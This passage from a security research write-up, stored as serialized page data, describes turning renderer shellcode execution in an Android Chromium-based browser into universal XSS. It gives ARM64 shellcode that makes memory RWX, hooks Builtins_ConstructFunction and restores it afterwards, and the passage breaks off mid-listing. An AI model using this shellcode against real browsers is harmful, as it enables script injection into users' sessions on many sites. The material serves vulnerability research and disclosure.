tyle":274},[141181],{"type":29,"value":103764},{"type":23,"tag":32,"props":141183,"children":141184},{},[141185],{"type":29,"value":141186},"And this time, it works as expected:",{"type":23,"tag":32,"props":141188,"children":141189},{},[141190],{"type":23,"tag":93,"props":141191,"children":141194},{"alt":141192,"src":141193},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":59,"props":141196,"children":141198},{"id":141197},"achieving-universal-xss",[141199],{"type":29,"value":141200},"Achieving Universal XSS",{"type":23,"tag":32,"props":141202,"children":141203},{},[141204,141206,141212,141214,141221],{"type":29,"value":141205},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":181,"props":141207,"children":141210},{"href":141208,"rel":141209},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[185],[141211],{"type":29,"value":72108},{"type":29,"value":141213}," from Tencent Security and ",{"type":23,"tag":181,"props":141215,"children":141218},{"href":141216,"rel":141217},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[185],[141219],{"type":29,"value":141220},"research article",{"type":29,"value":141222}," from InterruptLabs.",{"type":23,"tag":32,"props":141224,"children":141225},{},[141226,141228,141235],{"type":29,"value":141227},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":181,"props":141229,"children":141232},{"href":141230,"rel":141231},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[185],[141233],{"type":29,"value":141234},"weaker version",{"type":29,"value":141236}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":32,"props":141238,"children":141239},{},[141240,141242,141248],{"type":29,"value":141241},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":71,"props":141243,"children":141245},{"className":141244},[],[141246],{"type":29,"value":141247},"Builtins_ConstructFunction",{"type":29,"value":141249},", making it a natural target.",{"type":23,"tag":32,"props":141251,"children":141252},{},[141253,141255,141260],{"type":29,"value":141254},"Our goal is for ",{"type":23,"tag":71,"props":141256,"children":141258},{"className":141257},[],[141259],{"type":29,"value":141247},{"type":29,"value":141261}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":98,"props":141263,"children":141264},{},[141265,141270,141280],{"type":23,"tag":102,"props":141266,"children":141267},{},[141268],{"type":29,"value":141269},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":102,"props":141271,"children":141272},{},[141273,141275],{"type":29,"value":141274},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":23,"tag":71,"props":141276,"children":141278},{"className":141277},[],[141279],{"type":29,"value":141247},{"type":23,"tag":102,"props":141281,"children":141282},{},[141283,141285,141290],{"type":29,"value":141284},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":71,"props":141286,"children":141288},{"className":141287},[],[141289],{"type":29,"value":141247},{"type":29,"value":141291},", which now proceeds normally",{"type":23,"tag":32,"props":141293,"children":141294},{},[141295],{"type":29,"value":141296},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":220,"props":141298,"children":141302},{"code":141299,"language":141300,"meta":7,"className":141301,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[141303],{"type":23,"tag":71,"props":141304,"children":141305},{"__ignoreMap":7},[141306,141314,141322,141330,141338,141345,141353,141361,141369,141377,141384,141392,141400,141408,141416,141424,141431,141439,141447,141455,141463,141471,141479,141486,141494,141501,141509,141517,141525,141532,141540,141548,141556,141564,141571,141578,141585,141592,141600,141608,141616,141623,141631,141639,141646,141654,141662,141670,141677,141685,141693,141701,141709,141716,141723,141731],{"type":23,"tag":230,"props":141307,"children":141308},{"class":232,"line":233},[141309],{"type":23,"tag":230,"props":141310,"children":141311},{},[141312],{"type":29,"value":141313},"// get return addr to x0\n",{"type":23,"tag":230,"props":141315,"children":141316},{"class":232,"line":243},[141317],{"type":23,"tag":230,"props":141318,"children":141319},{},[141320],{"type":29,"value":141321},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":230,"props":141323,"children":141324},{"class":232,"line":252},[141325],{"type":23,"tag":230,"props":141326,"children":141327},{},[141328],{"type":29,"value":141329},"// strip pac signature from return address\n",{"type":23,"tag":230,"props":141331,"children":141332},{"class":232,"line":280},[141333],{"type":23,"tag":230,"props":141334,"children":141335},{},[141336],{"type":29,"value":141337},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":230,"props":141339,"children":141340},{"class":232,"line":334},[141341],{"type":23,"tag":230,"props":141342,"children":141343},{"emptyLinePlaceholder":18},[141344],{"type":29,"value":459},{"type":23,"tag":230,"props":141346,"children":141347},{"class":232,"line":371},[141348],{"type":23,"tag":230,"props":141349,"children":141350},{},[141351],{"type":29,"value":141352},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":230,"props":141354,"children":141355},{"class":232,"line":391},[141356],{"type":23,"tag":230,"props":141357,"children":141358},{},[141359],{"type":29,"value":141360},"movz x1, #0x610c\n",{"type":23,"tag":230,"props":141362,"children":141363},{"class":232,"line":400},[141364],{"type":23,"tag":230,"props":141365,"children":141366},{},[141367],{"type":29,"value":141368},"sub x0, x0, x1\n",{"type":23,"tag":230,"props":141370,"children":141371},{"class":232,"line":444},[141372],{"type":23,"tag":230,"props":141373,"children":141374},{},[141375],{"type":29,"value":141376},"mov x5, x0\n",{"type":23,"tag":230,"props":141378,"children":141379},{"class":232,"line":453},[141380],{"type":23,"tag":230,"props":141381,"children":141382},{"emptyLinePlaceholder":18},[141383],{"type":29,"value":459},{"type":23,"tag":230,"props":141385,"children":141386},{"class":232,"line":462},[141387],{"type":23,"tag":230,"props":141388,"children":141389},{},[141390],{"type":29,"value":141391},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":230,"props":141393,"children":141394},{"class":232,"line":471},[141395],{"type":23,"tag":230,"props":141396,"children":141397},{},[141398],{"type":29,"value":141399},"movz x1, #0xf000\n",{"type":23,"tag":230,"props":141401,"children":141402},{"class":232,"line":500},[141403],{"type":23,"tag":230,"props":141404,"children":141405},{},[141406],{"type":29,"value":141407},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":230,"props":141409,"children":141410},{"class":232,"line":514},[141411],{"type":23,"tag":230,"props":141412,"children":141413},{},[141414],{"type":29,"value":141415},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":230,"props":141417,"children":141418},{"class":232,"line":897},[141419],{"type":23,"tag":230,"props":141420,"children":141421},{},[141422],{"type":29,"value":141423},"and x4, x5, x1\n",{"type":23,"tag":230,"props":141425,"children":141426},{"class":232,"line":960},[141427],{"type":23,"tag":230,"props":141428,"children":141429},{"emptyLinePlaceholder":18},[141430],{"type":29,"value":459},{"type":23,"tag":230,"props":141432,"children":141433},{"class":232,"line":969},[141434],{"type":23,"tag":230,"props":141435,"children":141436},{},[141437],{"type":29,"value":141438},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":230,"props":141440,"children":141441},{"class":232,"line":4526},[141442],{"type":23,"tag":230,"props":141443,"children":141444},{},[141445],{"type":29,"value":141446},"mov x0, x4\n",{"type":23,"tag":230,"props":141448,"children":141449},{"class":232,"line":4534},[141450],{"type":23,"tag":230,"props":141451,"children":141452},{},[141453],{"type":29,"value":141454},"mov x1, #0x2000\n",{"type":23,"tag":230,"props":141456,"children":141457},{"class":232,"line":4542},[141458],{"type":23,"tag":230,"props":141459,"children":141460},{},[141461],{"type":29,"value":141462},"mov x2, #0x7\n",{"type":23,"tag":230,"props":141464,"children":141465},{"class":232,"line":4559},[141466],{"type":23,"tag":230,"props":141467,"children":141468},{},[141469],{"type":29,"value":141470},"mov x8, #226\n",{"type":23,"tag":230,"props":141472,"children":141473},{"class":232,"line":4587},[141474],{"type":23,"tag":230,"props":141475,"children":141476},{},[141477],{"type":29,"value":141478},"svc #0\n",{"type":23,"tag":230,"props":141480,"children":141481},{"class":232,"line":4595},[141482],{"type":23,"tag":230,"props":141483,"children":141484},{"emptyLinePlaceholder":18},[141485],{"type":29,"value":459},{"type":23,"tag":230,"props":141487,"children":141488},{"class":232,"line":4619},[141489],{"type":23,"tag":230,"props":141490,"children":141491},{},[141492],{"type":29,"value":141493},"mov x6, x5\n",{"type":23,"tag":230,"props":141495,"children":141496},{"class":232,"line":4627},[141497],{"type":23,"tag":230,"props":141498,"children":141499},{"emptyLinePlaceholder":18},[141500],{"type":29,"value":459},{"type":23,"tag":230,"props":141502,"children":141503},{"class":232,"line":4659},[141504],{"type":23,"tag":230,"props":141505,"children":141506},{},[141507],{"type":29,"value":141508},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":230,"props":141510,"children":141511},{"class":232,"line":4671},[141512],{"type":23,"tag":230,"props":141513,"children":141514},{},[141515],{"type":29,"value":141516},"mov x0, #0\n",{"type":23,"tag":230,"props":141518,"children":141519},{"class":232,"line":4688},[141520],{"type":23,"tag":230,"props":141521,"children":141522},{},[141523],{"type":29,"value":141524},"mov x1, #0x1000\n",{"type":23,"tag":230,"props":141526,"children":141527},{"class":232,"line":4701},[141528],{"type":23,"tag":230,"props":141529,"children":141530},{},[141531],{"type":29,"value":141462},{"type":23,"tag":230,"props":141533,"children":141534},{"class":232,"line":4724},[141535],{"type":23,"tag":230,"props":141536,"children":141537},{},[141538],{"type":29,"value":141539},"mov x3, #34\n",{"type":23,"tag":230,"props":141541,"children":141542},{"class":232,"line":4741},[141543],{"type":23,"tag":230,"props":141544,"children":141545},{},[141546],{"type":29,"value":141547},"mov x4, #-1\n",{"type":23,"tag":230,"props":141549,"children":141550},{"class":232,"line":4759},[141551],{"type":23,"tag":230,"props":141552,"children":141553},{},[141554],{"type":29,"value":141555},"mov x5, #0\n",{"type":23,"tag":230,"props":141557,"children":141558},{"class":232,"line":4768},[141559],{"type":23,"tag":230,"props":141560,"children":141561},{},[141562],{"type":29,"value":141563},"mov x8, #222\n",{"type":23,"tag":230,"props":141565,"children":141566},{"class":232,"line":4776},[141567],{"type":23,"tag":230,"props":141568,"children":141569},{},[141570],{"type":29,"value":141478},{"type":23,"tag":230,"props":141572,"children":141573},{"class":232,"line":4784},[141574],{"type":23,"tag":230,"props":141575,"children":141576},{"emptyLinePlaceholder":18},[141577],{"type":29,"value":459},{"type":23,"tag":230,"props":141579,"children":141580},{"class":232,"line":4792},[141581],{"type":23,"tag":230,"props":141582,"children":141583},{},[141584],{"type":29,"value":141376},{"type":23,"tag":230,"props":141586,"children":141587},{"class":232,"line":4824},[141588],{"type":23,"tag":230,"props":141589,"children":141590},{"emptyLinePlaceholder":18},[141591],{"type":29,"value":459},{"type":23,"tag":230,"props":141593,"children":141594},{"class":232,"line":4832},[141595],{"type":23,"tag":230,"props":141596,"children":141597},{},[141598],{"type":29,"value":141599},"// at this point:\n",{"type":23,"tag":230,"props":141601,"children":141602},{"class":232,"line":4840},[141603],{"type":23,"tag":230,"props":141604,"children":141605},{},[141606],{"type":29,"value":141607},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":230,"props":141609,"children":141610},{"class":232,"line":4901},[141611],{"type":23,"tag":230,"props":141612,"children":141613},{},[141614],{"type":29,"value":141615},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":230,"props":141617,"children":141618},{"class":232,"line":4909},[141619],{"type":23,"tag":230,"props":141620,"children":141621},{"emptyLinePlaceholder":18},[141622],{"type":29,"value":459},{"type":23,"tag":230,"props":141624,"children":141625},{"class":232,"line":4938},[141626],{"type":23,"tag":230,"props":141627,"children":141628},{},[141629],{"type":29,"value":141630},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":230,"props":141632,"children":141633},{"class":232,"line":4957},[141634],{"type":23,"tag":230,"props":141635,"children":141636},{},[141637],{"type":29,"value":141638},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":230,"props":141640,"children":141641},{"class":232,"line":4973},[141642],{"type":23,"tag":230,"props":141643,"children":141644},{"emptyLinePlaceholder":18},[141645],{"type":29,"value":459},{"type":23,"tag":230,"props":141647,"children":141648},{"class":232,"line":4990},[141649],{"type":23,"tag":230,"props":141650,"children":141651},{},[141652],{"type":29,"value":141653},"// wipe from cache\n",{"type":23,"tag":230,"props":141655,"children":141656},{"class":232,"line":5006},[141657],{"type":23,"tag":230,"props":141658,"children":141659},{},[141660],{"type":29,"value":141661},"mov x0, x5\n",{"type":23,"tag":230,"props":141663,"children":141664},{"class":232,"line":5019},[141665],{"type":23,"tag":230,"props":141666,"children":141667},{},[141668],{"type":29,"value":141669},"{WIPE_CACHE}\n",{"type":23,"tag":230,"props":141671,"children":141672},{"class":232,"line":5050},[141673],{"type":23,"tag":230,"props":141674,"children":141675},{"emptyLinePlaceholder":18},[141676],{"type":29,"value":459},{"type":23,"tag":230,"props":141678,"children":141679},{"class":232,"line":5058},[141680],{"type":23,"tag":230,"props":141681,"children":141682},{},[141683],{"type":29,"value":141684},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":230,"props":141686,"children":141687},{"class":232,"line":26228},[141688],{"type":23,"tag":230,"props":141689,"children":141690},{},[141691],{"type":29,"value":141692},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":230,"props":141694,"children":141695},{"class":232,"line":34574},[141696],{"type":23,"tag":230,"props":141697,"children":141698},{},[141699],{"type":29,"value":141700},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":230,"props":141702,"children":141703},{"class":232,"line":34595},[141704],{"type":23,"tag":230,"props":141705,"children":141706},{},[141707],{"type":29,"value":141708},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":230,"props":141710,"children":141711},{"class":232,"line":82730},[141712],{"type":23,"tag":230,"props":141713,"children":141714},{"emptyLinePlaceholder":18},[141715],{"type":29,"value":459},{"type":23,"tag":230,"props":141717,"children":141718},{"class":232,"line":82743},[141719],{"type":23,"tag":230,"props":141720,"children":141721},{},[141722],{"type":29,"value":141653},{"type":23,"tag":230,"props":141724,"children":141725},{"class":232,"line":82751},[141726],{"type":23,"tag":230,"props":141727,"children":141728},{},[141729],{"type":29,"value":141730},"mov x0, x6\n",{"type":23,"tag":230,"props":141732,"children":141733},{"class":232,"line":82759},[141734],{"type":23,"tag":230,"props":141735,"children":141736},{},[141737],{"type":29,"value":141669},{"type":23,"tag":32,"props":141739,"children":141740},{},[141741,141743,141749,141751,141756,141758,141764],{"type":29,"value":141742},"In the snippet above, ",{"type":23,"tag":71,"props":141744,"children":141746},{"className":141745},[],[141747],{"type":29,"value":141748},"new_compile_instrs",{"type":29,"value":141750}," refers to the instructions written to the beginning of ",{"type":23,"tag":71,"props":141752,"children":141754},{"className":141753},[],[141755],{"type":29,"value":141247},{"type":29,"value":141757}," that invoke the ",{"type":23,"tag":71,"props":141759,"children":141761},{"className":141760},[],[141762],{"type":29,"value":141763},"uxss_sc",{"type":29,"value":141765}," mmap-ed shellcode:",{"type":23,"tag":220,"props":141767,"children":141769},{"code":141768,"language":141300,"meta":7,"className":141301,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[141770],{"type":23,"tag":71,"props":141771,"children":141772},{"__ignoreMap":7},[141773,141781,141788,141796,141804,141811,141819,141827,141834,141842,141850,141857,141865],{"type":23,"tag":230,"props":141774,"children":141775},{"class":232,"line":233},[141776],{"type":23,"tag":230,"props":141777,"children":141778},{},[141779],{"type":29,"value":141780},"bti c\n",{"type":23,"tag":230,"props":141782,"children":141783},{"class":232,"line":243},[141784],{"type":23,"tag":230,"props":141785,"children":141786},{"emptyLinePlaceholder":18},[141787],{"type":29,"value":459},{"type":23,"tag":230,"props":141789,"children":141790},{"class":232,"line":252},[141791],{"type":23,"tag":230,"props":141792,"children":141793},{},[141794],{"type":29,"value":141795},"// store registers that will be overwritten\n",{"type":23,"tag":230,"props":141797,"children":141798},{"class":232,"line":280},[141799],{"type":23,"tag":230,"props":141800,"children":141801},{},[141802],{"type":29,"value":141803},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":230,"props":141805,"children":141806},{"class":232,"line":334},[141807],{"type":23,"tag":230,"props":141808,"children":141809},{"emptyLinePlaceholder":18},[141810],{"type":29,"value":459},{"type":23,"tag":230,"props":141812,"children":141813},{"class":232,"line":371},[141814],{"type":23,"tag":230,"props":141815,"children":141816},{},[141817],{"type":29,"value":141818},"// get current rip into x15\n",{"type":23,"tag":230,"props":141820,"children":141821},{"class":232,"line":391},[141822],{"type":23,"tag":230,"props":141823,"children":141824},{},[141825],{"type":29,"value":141826},"adr x15, .\n",{"type":23,"tag":230,"props":141828,"children":141829},{"class":232,"line":400},[141830],{"type":23,"tag":230,"props":141831,"children":141832},{"emptyLinePlaceholder":18},[141833],{"type":29,"value":459},{"type":23,"tag":230,"props":141835,"children":141836},{"class":232,"line":444},[141837],{"type":23,"tag":230,"props":141838,"children":141839},{},[141840],{"type":29,"value":141841},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":230,"props":141843,"children":141844},{"class":232,"line":453},[141845],{"type":23,"tag":230,"props":141846,"children":141847},{},[141848],{"type":29,"value":141849},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":230,"props":141851,"children":141852},{"class":232,"line":462},[141853],{"type":23,"tag":230,"props":141854,"children":141855},{"emptyLinePlaceholder":18},[141856],{"type":29,"value":459},{"type":23,"tag":230,"props":141858,"children":141859},{"class":232,"line":471},[141860],{"type":23,"tag":230,"props":141861,"children":141862},{},[141863],{"type":29,"value":141864},"// jump to uxss_sc\n",{"type":23,"tag":230,"props":141866,"children":141867},{"class":232,"line":500},[141868],{"type":23,"tag":230,"props":141869,"children":141870},{},[141871],{"type":29,"value":141872},"blr x15\n",{"type":23,"tag":32,"props":141874,"children":141875},{},[141876,141881,141883,141888],{"type":23,"tag":71,"props":141877,"children":141879},{"className":141878},[],[141880],{"type":29,"value":141763},{"type":29,"value":141882}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":71,"props":141884,"children":141886},{"className":141885},[],[141887],{"type":29,"value":141247},{"type":29,"value":141889}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":220,"props":141891,"children":141893},{"code":141892,"language":141300,"meta":7,"className":141301,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[141894],{"type":23,"tag":71,"props":141895,"children":141896},{"__ignoreMap":7},[141897,141904,141911,141919,141927,141935,141943,141951,141959,141967,141975,141983,141991,141999,142007,142015,142023,142031,142039],{"type":23,"tag":230,"props":141898,"children":141899},{"class":232,"line":233},[141900],{"type":23,"tag":230,"props":141901,"children":141902},{},[141903],{"type":29,"value":141780},{"type":23,"tag":230,"props":141905,"children":141906},{"class":232,"line":243},[141907],{"type":23,"tag":230,"props":141908,"children":141909},{"emptyLinePlaceholder":18},[141910],{"type":29,"value":459},{"type":23,"tag":230,"props":141912,"children":141913},{"class":232,"line":252},[141914],{"type":23,"tag":230,"props":141915,"children":141916},{},[141917],{"type":29,"value":141918},"// Save full register context\n",{"type":23,"tag":230,"props":141920,"children":141921},{"class":232,"line":280},[141922],{"type":23,"tag":230,"props":141923,"children":141924},{},[141925],{"type":29,"value":141926},"stp x0,  x1,  [sp, #-16]!\n",{"type":23,"tag":230,"props":141928,"children":141929},{"class":232,"line":334},[141930],{"type":23,"tag":230,"props":141931,"children":141932},{},[141933],{"type":29,"value":141934},"stp x2,  x3,  [sp, #-16]!\n",{"type":23,"tag":230,"props":141936,"children":141937},{"class":232,"line":371},[141938],{"type":23,"tag":230,"props":141939,"children":141940},{},[141941],{"type":29,"value":141942},"stp x4,  x5,  [sp, #-16]!\n",{"type":23,"tag":230,"props":141944,"children":141945},{"class":232,"line":391},[141946],{"type":23,"tag":230,"props":141947,"children":141948},{},[141949],{"type":29,"value":141950},"stp x6,  x7,  [sp, #-16]!\n",{"type":23,"tag":230,"props":141952,"children":141953},{"class":232,"line":400},[141954],{"type":23,"tag":230,"props":141955,"children":141956},{},[141957],{"type":29,"value":141958},"stp x8,  x9,  [sp, #-16]!\n",{"type":23,"tag":230,"props":141960,"children":141961},{"class":232,"line":444},[141962],{"type":23,"tag":230,"props":141963,"children":141964},{},[141965],{"type":29,"value":141966},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":230,"props":141968,"children":141969},{"class":232,"line":453},[141970],{"type":23,"tag":230,"props":141971,"children":141972},{},[141973],{"type":29,"value":141974},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":230,"props":141976,"children":141977},{"class":232,"line":462},[141978],{"type":23,"tag":230,"props":141979,"children":141980},{},[141981],{"type":29,"value":141982},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":230,"props":141984,"children":141985},{"class":232,"line":471},[141986],{"type":23,"tag":230,"props":141987,"children":141988},{},[141989],{"type":29,"value":141990},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":230,"props":141992,"children":141993},{"class":232,"line":500},[141994],{"type":23,"tag":230,"props":141995,"children":141996},{},[141997],{"type":29,"value":141998},"stp x18, x19, [sp, #-16]!\n",{"type":23,"tag":230,"props":142000,"children":142001},{"class":232,"line":514},[142002],{"type":23,"tag":230,"props":142003,"children":142004},{},[142005],{"type":29,"value":142006},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":230,"props":142008,"children":142009},{"class":232,"line":897},[142010],{"type":23,"tag":230,"props":142011,"children":142012},{},[142013],{"type":29,"value":142014},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":230,"props":142016,"children":142017},{"class":232,"line":960},[142018],{"type":23,"tag":230,"props":142019,"children":142020},{},[142021],{"type":29,"value":142022},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":230,"props":142024,"children":142025},{"class":232,"line":969},[142026],{"type":23,"tag":230,"props":142027,"children":142028},{},[142029],{"type":29,"value":142030},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":230,"props":142032,"children":142033},{"class":232,"line":4526},[142034],{"type":23,"tag":230,"props":142035,"children":142036},{},[142037],{"type":29,"value":142038},"stp x28, x29, [sp, #-16]!\n",{"type":23,"tag":230,"props":142040,"children":142041},{"class":232,"line":4534},[142042],{"type":23,"tag":230,"props":142043,"children":142044},{},[142045],{"type":29,"value":142046},"str lr, [sp, #-16]!\n",{"type":23,"tag":32,"props":142048,"children":142049},{},[142050],{"type":29,"value":142051},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":32,"props":142053,"children":142054},{},[142055,142057,142062],{"type":29,"value":142056},"The epilogue restores all saved registers, restores the original instructions in ",{"type":23,"tag":71,"props":142058,"children":142060},{"className":142059},[],[142061],{"type":29,"value":141247},{"type":29,"value":142063},", and then returns execution to its beginning:",{"type":23,"tag":220,"props":142065,"children":142067},{"code":142066,"language":141300,"meta":7,"className":141301,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[142068],{"type":23,"tag":71,"props":142069,"children":142070},{"__ignoreMap":7},[142071,142079,142087,142095,142103,142111,142118,142125,142133,142140,142147,142155,142163,142171,142179,142187,142195,142203,142211,142219,142227,142235,142243,142251,142259,142267,142275,142282,142290,142298,142306,142314,142322,142329,142337,142345,142352],{"type":23,"tag":230,"props":142072,"children":142073},{"class":232,"line":233},[142074],{"type":23,"tag":230,"props":142075,"children":142076},{},[142077],{"type":29,"value":142078},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":230,"props":142080,"children":142081},{"class":232,"line":243},[142082],{"type":23,"tag":230,"props":142083,"children":142084},{},[142085],{"type":29,"value":142086},"ldr lr, [sp], #16\n",{"type":23,"tag":230,"props":142088,"children":142089},{"class":232,"line":252},[142090],{"type":23,"tag":230,"props":142091,"children":142092},{},[142093],{"type":29,"value":142094},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":230,"props":142096,"children":142097},{"class":232,"line":280},[142098],{"type":23,"tag":230,"props":142099,"children":142100},{},[142101],{"type":29,"value":142102},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":230,"props":142104,"children":142105},{"class":232,"line":334},[142106],{"type":23,"tag":230,"props":142107,"children":142108},{},[142109],{"type":29,"value":142110},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":230,"props":142112,"children":142113},{"class":232,"line":371},[142114],{"type":23,"tag":230,"props":142115,"children":142116},{"emptyLinePlaceholder":18},[142117],{"type":29,"value":459},{"type":23,"tag":230,"props":142119,"children":142120},{"class":232,"line":391},[142121],{"type":23,"tag":230,"props":142122,"children":142123},{},[142124],{"type":29,"value":141653},{"type":23,"tag":230,"props":142126,"children":142127},{"class":232,"line":400},[142128],{"type":23,"tag":230,"props":142129,"children":142130},{},[142131],{"type":29,"value":142132},"mov x0, lr\n",{"type":23,"tag":230,"props":142134,"children":142135},{"class":232,"line":444},[142136],{"type":23,"tag":230,"props":142137,"children":142138},{},[142139],{"type":29,"value":141669},{"type":23,"tag":230,"props":142141,"children":142142},{"class":232,"line":453},[142143],{"type":23,"tag":230,"props":142144,"children":142145},{"emptyLinePlaceholder":18},[142146],{"type":29,"value":459},{"type":23,"tag":230,"props":142148,"children":142149},{"class":232,"line":462},[142150],{"type":23,"tag":230,"props":142151,"children":142152},{},[142153],{"type":29,"value":142154},"// restore original registers\n",{"type":23,"tag":230,"props":142156,"children":142157},{"class":232,"line":471},[142158],{"type":23,"tag":230,"props":142159,"children":142160},{},[142161],{"type":29,"value":142162},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":230,"props":142164,"children":142165},{"class":232,"line":500},[142166],{"type":23,"tag":230,"props":142167,"children":142168},{},[142169],{"type":29,"value":142170},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":230,"props":142172,"children":142173},{"class":232,"line":514},[142174],{"type":23,"tag":230,"props":142175,"children":142176},{},[142177],{"type":29,"value":142178},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":230,"props":142180,"children":142181},{"class":232,"line":897},[142182],{"type":23,"tag":230,"props":142183,"children":142184},{},[142185],{"type":29,"value":142186},"ldp x22, x23, [sp], 